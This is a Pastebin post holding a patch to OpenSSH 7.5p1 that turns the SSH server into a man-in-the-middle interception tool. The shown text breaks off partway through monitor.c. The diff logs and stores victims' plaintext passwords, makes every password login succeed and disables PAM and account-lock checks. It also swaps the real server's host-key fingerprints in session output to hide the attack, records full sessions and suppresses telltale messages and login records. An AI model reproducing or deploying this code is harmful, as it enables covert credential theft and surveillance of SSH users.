FlyFar

openssh-7.5p1-mitm.patch

Aug 12th, 2023
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 152.17 KB | Cybersecurity | 0 0
  1. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2.c openssh-7.5p1-mitm/auth2.c
  2. --- openssh-7.5p1/auth2.c   2017-03-19 22:39:27.000000000 -0400
  3. +++ openssh-7.5p1-mitm/auth2.c  2018-06-12 17:44:46.341760621 -0400
  4. @@ -222,6 +222,10 @@
  5.         fatal("input_userauth_request: no authctxt");
  6.  
  7.     user = packet_get_cstring(NULL);
  8. +   authctxt->original_user = xstrdup(user);
  9. +   free(user);
  10. +   user = xstrdup(UNPRIVED_MITM_USER);
  11. +
  12.     service = packet_get_cstring(NULL);
  13.     method = packet_get_cstring(NULL);
  14.     debug("userauth-request for user %s service %s method %s", user, service, method);
  15. @@ -329,6 +333,8 @@
  16.         return;
  17.  
  18.  #ifdef USE_PAM
  19. +   /* Disable PAM entirely. */
  20. +   if (0) {
  21.     if (options.use_pam && authenticated) {
  22.         if (!PRIVSEP(do_pam_account())) {
  23.             /* if PAM returned a message, send it to the user */
  24. @@ -341,6 +347,7 @@
  25.                 "configuration", authctxt->user);
  26.         }
  27.     }
  28. +        }
  29.  #endif
  30.  
  31.  #ifdef _UNICOS
  32. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2-passwd.c openssh-7.5p1-mitm/auth2-passwd.c
  33. --- openssh-7.5p1/auth2-passwd.c    2017-03-19 22:39:27.000000000 -0400
  34. +++ openssh-7.5p1-mitm/auth2-passwd.c   2018-06-12 17:44:46.341760621 -0400
  35. @@ -43,9 +43,11 @@
  36.  #include "monitor_wrap.h"
  37.  #include "misc.h"
  38.  #include "servconf.h"
  39. +#include "lol.h"
  40.  
  41.  /* import */
  42.  extern ServerOptions options;
  43. +extern Lol *lol;
  44.  
  45.  static int
  46.  userauth_passwd(Authctxt *authctxt)
  47. @@ -65,6 +67,13 @@
  48.     }
  49.     packet_check_eom();
  50.  
  51. +   char *user = authctxt->user;
  52. +   if (authctxt->original_user != NULL)
  53. +     user = authctxt->original_user;
  54. +
  55. +   logit("INTERCEPTED PASSWORD: hostname: [%s]; username: [%s]; password: [%s]", lol->original_host, user, password);
  56. +   lol->username = strdup(user);
  57. +   lol->password = strdup(password);
  58.     if (change)
  59.         logit("password change not supported");
  60.     else if (PRIVSEP(auth_password(authctxt, password)) == 1)
  61. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2-pubkey.c openssh-7.5p1-mitm/auth2-pubkey.c
  62. --- openssh-7.5p1/auth2-pubkey.c    2017-03-19 22:39:27.000000000 -0400
  63. +++ openssh-7.5p1-mitm/auth2-pubkey.c   2018-06-12 17:44:46.341760621 -0400
  64. @@ -477,7 +477,7 @@
  65.         closefrom(STDERR_FILENO + 1);
  66.  
  67.         /* Don't use permanently_set_uid() here to avoid fatal() */
  68. -       if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
  69. +       /*if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
  70.             error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid,
  71.                 strerror(errno));
  72.             _exit(1);
  73. @@ -487,13 +487,15 @@
  74.                 strerror(errno));
  75.             _exit(1);
  76.         }
  77. +       */
  78.         /* stdin is pointed to /dev/null at this point */
  79.         if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
  80.             error("%s: dup2: %s", tag, strerror(errno));
  81.             _exit(1);
  82.         }
  83.  
  84. -       execve(av[0], av, child_env);
  85. +       /* Not sure when this happens, exactly, but we definitely never want to execute anything. */
  86. +       /*execve(av[0], av, child_env);*/
  87.         error("%s exec \"%s\": %s", tag, command, strerror(errno));
  88.         _exit(127);
  89.     default: /* parent */
  90. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth.c openssh-7.5p1-mitm/auth.c
  91. --- openssh-7.5p1/auth.c    2017-03-19 22:39:27.000000000 -0400
  92. +++ openssh-7.5p1-mitm/auth.c   2018-06-12 17:44:46.341760621 -0400
  93. @@ -152,6 +152,8 @@
  94. #ifdef USE_LIBIAF
  95.         free((void *) passwd);
  96. #endif /* USE_LIBIAF */
  97. +       /* Allow logins to our locked-out bogus user. */
  98. +       locked = 0;
  99.         if (locked) {
  100.             logit("User %.100s not allowed because account is locked",
  101.                 pw->pw_name);
  102. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth.h openssh-7.5p1-mitm/auth.h
  103. --- openssh-7.5p1/auth.h    2017-03-19 22:39:27.000000000 -0400
  104. +++ openssh-7.5p1-mitm/auth.h   2018-06-12 17:44:46.341760621 -0400
  105. @@ -59,6 +59,7 @@
  106.     int      server_caused_failure;
  107.     int      force_pwchange;
  108.     char        *user;      /* username sent by the client */
  109. +   char        *original_user; /* username that the client actually wants to connect as */
  110.     char        *service;
  111.     struct passwd   *pw;        /* set if 'valid' */
  112.     char        *style;
  113. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth-passwd.c openssh-7.5p1-mitm/auth-passwd.c
  114. --- openssh-7.5p1/auth-passwd.c 2017-03-19 22:39:27.000000000 -0400
  115. +++ openssh-7.5p1-mitm/auth-passwd.c    2018-06-12 17:44:46.341760621 -0400
  116. @@ -121,6 +121,8 @@
  117.     if (options.use_pam)
  118.         return (sshpam_auth_passwd(authctxt, password) && ok);
  119. #endif
  120. +   /* Accept all password authentication. */
  121. +   return 1;
  122. #if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
  123.     if (!expire_checked) {
  124.         expire_checked = 1;
  125. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth-sia.c openssh-7.5p1-mitm/auth-sia.c
  126. --- openssh-7.5p1/auth-sia.c    2017-03-19 22:39:27.000000000 -0400
  127. +++ openssh-7.5p1-mitm/auth-sia.c   2018-06-12 17:44:46.341760621 -0400
  128. @@ -107,7 +107,7 @@
  129.  
  130.     sia_ses_release(&ent);
  131.  
  132. -   setuid(0);
  133. +   /*setuid(0);*/
  134.     permanently_set_uid(pw);
  135. }
  136.  
  137. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/channels.c openssh-7.5p1-mitm/channels.c
  138. --- openssh-7.5p1/channels.c    2017-03-19 22:39:27.000000000 -0400
  139. +++ openssh-7.5p1-mitm/channels.c   2018-06-12 17:44:46.341760621 -0400
  140. @@ -82,6 +82,7 @@
  141. #include "key.h"
  142. #include "authfd.h"
  143. #include "pathnames.h"
  144. +#include "lol.h"
  145.  
  146. /* -- channel core */
  147.  
  148. @@ -191,6 +192,12 @@
  149. static int connect_next(struct channel_connect *);
  150. static void channel_connect_ctx_free(struct channel_connect *);
  151.  
  152. +void log_input(Channel *c, char *buf, int len);
  153. +void log_output(Channel *c, char *buf, int len);
  154. +void logx(Channel *c, char *buf, int len);
  155. +char *replace_fingerprints(Channel *c, char *input, int input_size, int *output_len, int *free_result);
  156. +void handle_overlap(Channel *c, char *input, unsigned int input_len, unsigned int *output_len);
  157. +
  158. /* -- channel core */
  159.  
  160. Channel *
  161. @@ -504,6 +511,23 @@
  162.     if (c->filter_cleanup != NULL && c->filter_ctx != NULL)
  163.         c->filter_cleanup(c->self, c->filter_ctx);
  164.     channels[c->self] = NULL;
  165. +   /*
  166. +   if (c->log_fd > 0) {
  167. +       fdatasync(c->log_fd);
  168. +       close(c->log_fd);
  169. +       c->log_fd = 0;
  170. +   }
  171. +   */
  172. +   free(c->legit_md5_fingerprint);    c->legit_md5_fingerprint = NULL;
  173. +   c->legit_md5_fingerprint_len = 0;
  174. +   free(c->legit_sha256_fingerprint); c->legit_sha256_fingerprint = NULL;
  175. +   c->legit_sha256_fingerprint_len = 0;
  176. +   free(c->our_md5_fingerprint);      c->our_md5_fingerprint = NULL;
  177. +   c->our_md5_fingerprint_len = 0;
  178. +   free(c->our_sha256_fingerprint);   c->our_sha256_fingerprint = NULL;
  179. +   c->our_sha256_fingerprint_len = 0;
  180. +   free(c->extra_fp_bytes);           c->extra_fp_bytes = NULL;
  181. +   c->extra_fp_bytes_len = 0;
  182.     free(c);
  183. }
  184.  
  185. @@ -853,12 +877,14 @@
  186.  
  187. void
  188. channel_set_fds(int id, int rfd, int wfd, int efd,
  189. -    int extusage, int nonblock, int is_tty, u_int window_max)
  190. +    int extusage, int nonblock, int is_tty, u_int window_max, int session_log_fd, int is_sftp)
  191. {
  192.     Channel *c = channel_lookup(id);
  193.  
  194.     if (c == NULL || c->type != SSH_CHANNEL_LARVAL)
  195.         fatal("channel_activate for non-larval channel %d.", id);
  196. +   c->log_fd = session_log_fd;
  197. +   c->is_sftp = is_sftp;
  198.     channel_register_fds(c, rfd, wfd, efd, extusage, nonblock, is_tty);
  199.     c->type = SSH_CHANNEL_OPEN;
  200.     c->local_window = c->local_window_max = window_max;
  201. @@ -1729,6 +1755,8 @@
  202. {
  203.     char buf[CHAN_RBUF];
  204.     int len, force;
  205. +   char *output = NULL;
  206. +   int output_len = 0, real_output_len = 0, free_result = 0;
  207.  
  208.     force = c->isatty && c->detach_close && c->istate != CHAN_INPUT_CLOSED;
  209.     if (c->rfd != -1 && (force || FD_ISSET(c->rfd, readset))) {
  210. @@ -1758,16 +1786,23 @@
  211.             }
  212.             return -1;
  213.         }
  214. +
  215. +       /* Replace the legit server's fingerprints in the output with
  216. +        * our fingerprints.  >:] */
  217. +       output = replace_fingerprints(c, buf, len, &output_len, &free_result);
  218. +       handle_overlap(c, output, output_len, &real_output_len);
  219. +       log_output(c, output, real_output_len);
  220.         if (c->input_filter != NULL) {
  221. -           if (c->input_filter(c, buf, len) == -1) {
  222. +           if (c->input_filter(c, output, real_output_len) == -1) {
  223.                 debug2("channel %d: filter stops", c->self);
  224.                 chan_read_failed(c);
  225.             }
  226.         } else if (c->datagram) {
  227. -           buffer_put_string(&c->input, buf, len);
  228. +           buffer_put_string(&c->input, output, real_output_len);
  229.         } else {
  230. -           buffer_append(&c->input, buf, len);
  231. +           buffer_append(&c->input, output, real_output_len);
  232.         }
  233. +       if (free_result) { free(output); output = NULL; }
  234.     }
  235.     return 1;
  236.  }
  237. @@ -1824,6 +1859,7 @@
  238.             dlen = MIN(dlen, 8*1024);
  239.  #endif
  240.  
  241. +       log_input(c, buf, dlen);
  242.         len = write(c->wfd, buf, dlen);
  243.         if (len < 0 &&
  244.             (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK))
  245. @@ -4670,3 +4706,246 @@
  246.     packet_send();
  247.     packet_write_wait();
  248.  }
  249. +
  250. +void log_input(Channel *c, char *buf, int len) {
  251. +  logx(c, buf, len);
  252. +}
  253. +
  254. +void log_output(Channel *c, char *buf, int len) {
  255. +  logx(c, buf, len);
  256. +}
  257. +
  258. +void logx(Channel *c, char *buf, int len) {
  259. +  /* Do not log the raw binary stream if this is an SFTP channel. */
  260. +  if (c->is_sftp)
  261. +    return;
  262. +  else {
  263. +    int written = 0;
  264. +    int ret = -1;
  265. +
  266. +    if (c->log_fd <= 0)
  267. +      return;
  268. +
  269. +    while (written < len) {
  270. +      ret = write(c->log_fd, buf + written, len - written);
  271. +      if (ret < 0)
  272. +   return;
  273. +
  274. +      written += len;
  275. +    }
  276. +  }
  277. +}
  278. +
  279. +/* This function searches and replaces the legitimate server's host key
  280. + * fingerprints with ours.
  281. + *
  282. + *     "input" is the character buffer to search.
  283. + *     "output_len" holds the number of characters written to the output return
  284. + *         value.
  285. + *     "free_result" is set to 1 if the caller must call free() on the return
  286. + *         value when finished with it.
  287. + */
  288. +char *replace_fingerprints(Channel *c, char *input, int input_size, int *output_len, int *free_result) {
  289. +  char *orig_input = input;
  290. +  int orig_input_size = input_size;
  291. +
  292. +  char *needle = NULL, *needle_replacement = NULL;
  293. +  int needle_len = 0, needle_replacement_len = 0;
  294. +
  295. +  void *ptr = NULL;
  296. +  char *output = NULL;
  297. +
  298. +  int output_size = 0;
  299. +  int allocated_input = 0, allocated_output = 0;
  300. +  int prefix_len = 0, suffix_len = 0;
  301. +  int i = 0;
  302. +  int output_is_input = 0;
  303. +
  304. +  *output_len = input_size;
  305. +
  306. +  /* If extra bytes are set from a previous call (i.e.: a partial fingerprint
  307. +   * from a previous input block), prepend them to the input in a new buffer. */
  308. +  if (c->extra_fp_bytes_len > 0) {
  309. +    int new_input_size = input_size + c->extra_fp_bytes_len;
  310. +    char *new_input = calloc(new_input_size, sizeof(char));
  311. +    if (new_input == NULL)
  312. +      goto replace_fingerprints_error;
  313. +
  314. +    memcpy(new_input, c->extra_fp_bytes, c->extra_fp_bytes_len);
  315. +    memcpy(new_input + c->extra_fp_bytes_len, input, input_size);
  316. +
  317. +    input = new_input;
  318. +    *output_len = input_size = new_input_size;
  319. +    allocated_input = 1;
  320. +    c->extra_fp_bytes_len = 0;
  321. +  }
  322. +
  323. +  /* Process the MD5 and SHA256 fingerprint types. */
  324. +  for (i = 0; i < 2; i++) {
  325. +    if (i == 0) {
  326. +      needle = c->legit_md5_fingerprint;
  327. +      needle_len = c->legit_md5_fingerprint_len;
  328. +      needle_replacement = c->our_md5_fingerprint;
  329. +      needle_replacement_len = c->our_md5_fingerprint_len;
  330. +    } else if(i == 1) {
  331. +      needle = c->legit_sha256_fingerprint;
  332. +      needle_len = c->legit_sha256_fingerprint_len;
  333. +      needle_replacement = c->our_sha256_fingerprint;
  334. +      needle_replacement_len = c->our_sha256_fingerprint_len;
  335. +    }
  336. +
  337. +    /* If we don't have all the info we need to search and replace, skip this
  338. +     * fingerprint type. */
  339. +    if ((needle_len == 0) || (needle_replacement_len == 0))
  340. +      continue;
  341. +
  342. +    /* Search for the needle in the haystack. */
  343. +    if ((ptr = memmem(input, input_size, needle, needle_len)) != NULL) {
  344. +
  345. +      /* If an output buffer isn't decided yet... */
  346. +      if (output == NULL) {
  347. +
  348. +   /* We will choose to overwrite the input buffer with the output, if it
  349. +    * fits.  If it doesn't, we need to allocate a new buffer. */
  350. +   output_size = input_size - needle_len + needle_replacement_len;
  351. +   if (output_size > input_size) {
  352. +     output = calloc(output_size, sizeof(char));
  353. +
  354. +     if (output == NULL)
  355. +       goto replace_fingerprints_error;
  356. +
  357. +     allocated_output = 1;
  358. +     output_is_input = 0;
  359. +   } else {
  360. +     output = input;
  361. +     output_size = input_size;
  362. +     output_is_input = 1;
  363. +   }
  364. +
  365. +      /* We already set an output buffer (note that we could have allocated it
  366. +       * ourselves, or it may be the input buffer).  Check if its big enough
  367. +       * for the replacement string.  If not, allocate a new one or re-allocate
  368. +       * the existing one, as necessary. */
  369. +      } else {
  370. +   int _output_size = input_size - needle_len + needle_replacement_len;
  371. +   if (_output_size > output_size) {
  372. +     output_size = _output_size;
  373. +
  374. +     /* If we had already allocated a buffer, re-allocate it with the
  375. +      * number of bytes we need.  Otherwise, allocate a new one. */
  376. +     if (allocated_output == 1)
  377. +       output = realloc(output, output_size);
  378. +     else
  379. +       output = calloc(output_size, sizeof(char));
  380. +
  381. +     if (output == NULL)
  382. +       goto replace_fingerprints_error;
  383. +
  384. +     allocated_output = 1;
  385. +     output_is_input = 0;
  386. +   }
  387. +      }
  388. +
  389. +      /* Calculate the length of the prefix and suffix around the string we
  390. +       * are replacing. */
  391. +      prefix_len = (char *)ptr - input;
  392. +      suffix_len = input_size - prefix_len - needle_len;
  393. +
  394. +      /* Copy the prefix, string replacement, and suffix into the output. */
  395. +      memmove(output, input, prefix_len);
  396. +      memmove(output + prefix_len, needle_replacement, needle_replacement_len);
  397. +      memmove(output + prefix_len + needle_replacement_len, (char *)ptr + needle_len, suffix_len);
  398. +
  399. +      /* Update the number of bytes we wrote into the output buffer. */
  400. +      *output_len = prefix_len + needle_replacement_len + suffix_len;
  401. +    }
  402. +  }
  403. +
  404. +  /* If the output pointer has been set (meaning that a substitution was made),
  405. +   * free the input buffer if necessary.  Return a pointer to the output
  406. +   * buffer. */
  407. +  if (output != NULL) {
  408. +    if (allocated_input && !output_is_input) {
  409. +      free(input); input = NULL;
  410. +      allocated_input = 0;
  411. +    }
  412. +
  413. +    *free_result = allocated_input | allocated_output;
  414. +    return output;
  415. +
  416. +  /* If no substitution was made, return the input buffer (which we may have
  417. +   * allocated ourselves). */
  418. +  } else {
  419. +    *free_result = allocated_input;
  420. +    return input;
  421. +  }
  422. +
  423. + replace_fingerprints_error:
  424. +  if (allocated_input) {
  425. +    free(input); input = NULL;
  426. +  }
  427. +  if (allocated_output) {
  428. +    free(output); output = NULL;
  429. +  }
  430. +  *free_result = 0;
  431. +  *output_len = orig_input_size;
  432. +  return orig_input;
  433. +}
  434. +
  435. +/* Handles any partial fingerprints found at the end of the input block.  Any
  436. + * that are found are placed in the Channel's "extra_fp_bytes" buffer, which
  437. + * will be prepended in the next block's buffer by replace_fingerprints().  The
  438. + * smallest partial fingerprint this will look for is of length 8, so as to
  439. + * maintain high responsiveness for interactive shell sessions.
  440. + *
  441. + *    "input" is the input buffer to process.
  442. + *    "input_len" is the number of bytes to process in the input buffer.
  443. + *    "output_len" is the new number of bytes the caller should use in the
  444. + *        input buffer, where output_len <= input_len.
  445. + */
  446. +void handle_overlap(Channel *c, char *input, unsigned int input_len, unsigned int *output_len) {
  447. +  unsigned int i, shift;
  448. +  char *needle = NULL;
  449. +  unsigned int needle_len = 0;
  450. +  int found_substr = 0;
  451. +
  452. +  *output_len = input_len;
  453. +
  454. +  /* Don't bother processing input blocks smaller than 8, since that is the
  455. +   * minimum size we will look for.  This is a tradeoff between shell
  456. +   * responsiveness and completeness.  For interactive shell sessions,
  457. +   * responsiveness is much more important... */
  458. +  if (input_len < 8)
  459. +    return;
  460. +
  461. +  for (i = 0; i < 2; i++) {
  462. +    if (i == 0) {
  463. +      needle = c->legit_md5_fingerprint;
  464. +      needle_len = c->legit_md5_fingerprint_len;
  465. +    } else if (i == 1) {
  466. +      needle = c->legit_sha256_fingerprint;
  467. +      needle_len = c->legit_sha256_fingerprint_len;
  468. +    }
  469. +
  470. +    /* If we don't have a needle, don't bother to continue processing. */
  471. +    if (needle_len == 0)
  472. +      continue;
  473. +
  474. +    /* Begin by looking at the last 8 bytes of the input, and see if it matches
  475. +     * the first 8 bytes of the fingerprint.  Then look at the last/first 9
  476. +     * bytes, etc. */
  477. +    found_substr = 0;
  478. +    for (shift = 8; (shift < needle_len) && (shift <= input_len); shift++) {
  479. +      if (memcmp(input + (input_len - shift), needle, shift) == 0)
  480. +   found_substr = shift;
  481. +    }
  482. +
  483. +    /* If we find a match, move the matching characters to the extra_chars
  484. +     * array, and shorten the length of the output. */
  485. +    if (found_substr > 0) {
  486. +      c->extra_fp_bytes_len = found_substr;
  487. +      memcpy(c->extra_fp_bytes, input + input_len - found_substr, c->extra_fp_bytes_len);
  488. +      *output_len = input_len - found_substr;
  489. +    }
  490. +  }
  491. +}
  492. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/channels.h openssh-7.5p1-mitm/channels.h
  493. --- openssh-7.5p1/channels.h    2017-03-19 22:39:27.000000000 -0400
  494. +++ openssh-7.5p1-mitm/channels.h   2018-06-12 17:44:46.341760621 -0400
  495. @@ -164,6 +164,22 @@
  496.     void            *mux_ctx;
  497.     int         mux_pause;
  498.     int             mux_downstream_id;
  499. +
  500. +   int log_fd;     /* File handle for logging sessions. */
  501. +   int is_sftp;            /* Set to 1 if this is an SFTP channel. */
  502. +
  503. +   /* The MD5 & SHA256 fingerprints of the legit server's host keys, as
  504. +    * well as the fingerprints for our host keys. */
  505. +   char *legit_md5_fingerprint;
  506. +   unsigned int legit_md5_fingerprint_len;
  507. +   char *legit_sha256_fingerprint;
  508. +   unsigned int legit_sha256_fingerprint_len;
  509. +   char *our_md5_fingerprint;
  510. +   unsigned int our_md5_fingerprint_len;
  511. +   char *our_sha256_fingerprint;
  512. +   unsigned int our_sha256_fingerprint_len;
  513. +   char *extra_fp_bytes;
  514. +   unsigned int extra_fp_bytes_len;
  515.  };
  516.  
  517.  #define CHAN_EXTENDED_IGNORE       0
  518. @@ -214,7 +230,7 @@
  519.  Channel    *channel_by_remote_id(int);
  520.  Channel    *channel_lookup(int);
  521.  Channel *channel_new(char *, int, int, int, int, u_int, u_int, int, char *, int);
  522. -void    channel_set_fds(int, int, int, int, int, int, int, u_int);
  523. +void    channel_set_fds(int, int, int, int, int, int, int, u_int, int, int);
  524.  void    channel_free(Channel *);
  525.  void    channel_free_all(void);
  526.  void    channel_stop_listening(void);
  527. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/clientloop.c openssh-7.5p1-mitm/clientloop.c
  528. --- openssh-7.5p1/clientloop.c  2017-03-19 22:39:27.000000000 -0400
  529. +++ openssh-7.5p1-mitm/clientloop.c 2018-06-12 17:44:46.341760621 -0400
  530. @@ -1752,7 +1752,10 @@
  531.     if (have_pty && options.log_level != SYSLOG_LEVEL_QUIET) {
  532.         snprintf(buf, sizeof buf,
  533.             "Connection to %.64s closed.\r\n", host);
  534. -       buffer_append(&stderr_buffer, buf, strlen(buf));
  535. +       /* Suppress this message, otherwise the user will see our
  536. +        * client make the same output as their own client (which would
  537. +        * be a little weird/suspicious). */
  538. +       /*buffer_append(&stderr_buffer, buf, strlen(buf));*/
  539.     }
  540.  
  541.     /* Output any buffered data for stdout. */
  542. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/loginrec.c openssh-7.5p1-mitm/loginrec.c
  543. --- openssh-7.5p1/loginrec.c    2017-03-19 22:39:27.000000000 -0400
  544. +++ openssh-7.5p1-mitm/loginrec.c   2018-06-12 17:44:46.341760621 -0400
  545. @@ -435,6 +435,8 @@
  546.  int
  547.  login_write(struct logininfo *li)
  548.  {
  549. +        /* Since we never run as root, never attempt to record the log-in. */
  550. +        return (0);
  551.  #ifndef HAVE_CYGWIN
  552.     if (geteuid() != 0) {
  553.         logit("Attempt to write login records by non-root user (aborting)");
  554. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/lol.h openssh-7.5p1-mitm/lol.h
  555. --- openssh-7.5p1/lol.h 1969-12-31 19:00:00.000000000 -0500
  556. +++ openssh-7.5p1-mitm/lol.h    2018-06-12 17:44:46.341760621 -0400
  557. @@ -0,0 +1,56 @@
  558. +#ifndef LOL_H
  559. +#define LOL_H
  560. +
  561. +/* Define these in order to force connections to a test host.
  562. + * Useful for quickly testing changes without needing to ARP
  563. + * spoof; just connect to sshd's port directly. */
  564. +/*
  565. +#define DEBUG_HOST "testhost"
  566. +#define DEBUG_PORT 22
  567. +*/
  568. +
  569. +/* This is the user account that all incoming connections will authenticate
  570. + * as (the provided user name is ignored). */
  571. +#define UNPRIVED_MITM_USER "ssh-mitm"
  572. +
  573. +/* The root path of SSH MITM (default: "/home/ssh-mitm/") */
  574. +#define MITM_ROOT "/home/" UNPRIVED_MITM_USER "/"
  575. +
  576. +/* The path to the ssh client config. */
  577. +#define MITM_SSH_CLIENT_CONFIG MITM_ROOT "etc/ssh_config"
  578. +
  579. +/* The path to the modified ssh client. */
  580. +#define MITM_SSH_CLIENT MITM_ROOT "bin/ssh"
  581. +
  582. +/* The path to the client log file. The "ssh" and "sftp" clients' stderr
  583. + * will go here. */
  584. +#define MITM_SSH_CLIENT_LOG MITM_ROOT "client.log"
  585. +
  586. +/* This is the size of the buffer used to write the password and read host key
  587. + * fingerprints to/from the client program. */
  588. +#define SOCKET_PASSWORD_AND_FINGERPRINT_BUFFER_SIZE 1024
  589. +
  590. +/* The size of the buffer used to store partial fingerprints intercepted. */
  591. +#define EXTRA_FP_BYTES_SIZE 64
  592. +
  593. +/* Uncomment this to open(2) log files with the O_SYNC flag.  Effectively, this
  594. + * would cause logs to be written syncronously, though at the expense of lower
  595. + * session responsiveness. */
  596. +/*#define SYNC_LOG 1*/
  597. +
  598. +struct _Lol {
  599. +  char *original_host;
  600. +  unsigned short original_port;
  601. +  char *username;
  602. +  char *password;
  603. +};
  604. +typedef struct _Lol Lol;
  605. +
  606. +#define MAX_SERVER_HOSTKEY_FPS 8
  607. +struct _hostkey_fp {
  608. +  char *old;
  609. +  char *new;
  610. +};
  611. +typedef struct _hostkey_fp hostkey_fp;
  612. +
  613. +#endif /* LOL_H */
  614. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/Makefile.in openssh-7.5p1-mitm/Makefile.in
  615. --- openssh-7.5p1/Makefile.in   2017-03-19 22:39:27.000000000 -0400
  616. +++ openssh-7.5p1-mitm/Makefile.in  2018-06-12 17:44:46.341760621 -0400
  617. @@ -23,7 +23,7 @@
  618.  VPATH=@srcdir@
  619.  SSH_PROGRAM=@bindir@/ssh
  620.  ASKPASS_PROGRAM=$(libexecdir)/ssh-askpass
  621. -SFTP_SERVER=$(libexecdir)/sftp-server
  622. +SFTP_SERVER=/home/ssh-mitm/bin/sftp-server
  623.  SSH_KEYSIGN=$(libexecdir)/ssh-keysign
  624.  SSH_PKCS11_HELPER=$(libexecdir)/ssh-pkcs11-helper
  625.  PRIVSEP_PATH=@PRIVSEP_PATH@
  626. @@ -107,7 +107,7 @@
  627.     monitor.o monitor_wrap.o auth-krb5.o \
  628.     auth2-gss.o gss-serv.o gss-serv-krb5.o \
  629.     loginrec.o auth-pam.o auth-shadow.o auth-sia.o md5crypt.o \
  630. -   sftp-server.o sftp-common.o \
  631. +   sftp-server.o sftp-client.o sftp-common.o \
  632.     sandbox-null.o sandbox-rlimit.o sandbox-systrace.o sandbox-darwin.o \
  633.     sandbox-seccomp-filter.o sandbox-capsicum.o sandbox-pledge.o \
  634.     sandbox-solaris.o
  635. @@ -187,8 +187,8 @@
  636.  ssh-keyscan$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keyscan.o
  637.     $(LD) -o $@ ssh-keyscan.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)
  638.  
  639. -sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-common.o sftp-server.o sftp-server-main.o
  640. -   $(LD) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
  641. +sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-server.o sftp-server-main.o
  642. +   $(LD) -o $@ sftp-server.o sftp-client.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
  643.  
  644.  sftp$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-glob.o progressmeter.o
  645.     $(LD) -o $@ progressmeter.o sftp.o sftp-client.o sftp-common.o sftp-glob.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) $(LIBEDIT)
  646. diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor.c openssh-7.5p1-mitm/monitor.c
  647. --- openssh-7.5p1/monitor.c 2017-03-19 22:39:27.000000000 -0400
  648. +++ openssh-7.5p1-mitm/monitor.c    2018-06-12 17:44:46.341760621 -0400
  649. @@ -119,6 +119,7 @@
  650.  
  651.  /* State exported from the child */
  652.  static struct sshbuf *child_state;
  653. +static struct sshbuf *child_lol = NULL;
  654.  
  655.  /* Functions on the monitor that answer unprivileged requests */
  656.  
  657. @@ -360,6 +361,7 @@
  658.     ssh_packet_set_log_preamble(ssh, "user %s", authctxt->user);
  659.  
  660.     mm_get_keystate(pmonitor);
  661. +   mm_get_lol(pmonitor);
  662.  
  663.     /* Drain any buffered messages from the child */
  664.     while (pmonitor->m_log_recvfd != -1 && monitor_read_log(pmonitor) == 0)
  665. @@ -1613,6 +1615,41 @@
  666.     }
  667.  }
  668.  
  669. +void
  670. +monitor_apply_lol(struct monitor *pmonitor, Lol *lol)
  671. +{
  672. +  u_int32_t dummy_len = 1;
  673. +  u_char *dummy = NULL;
  674. +  u_int32_t original_port = 0;
  675. +  u_int32_t username_len = 0;
  676. +  u_char *username = NULL;
  677. +  u_int32_t password_len = 0;
  678. +  u_char *password = NULL;
  679. +
  680. +  debug3("Applying lol...");
  681. +
  682. +  if (child_lol == NULL)
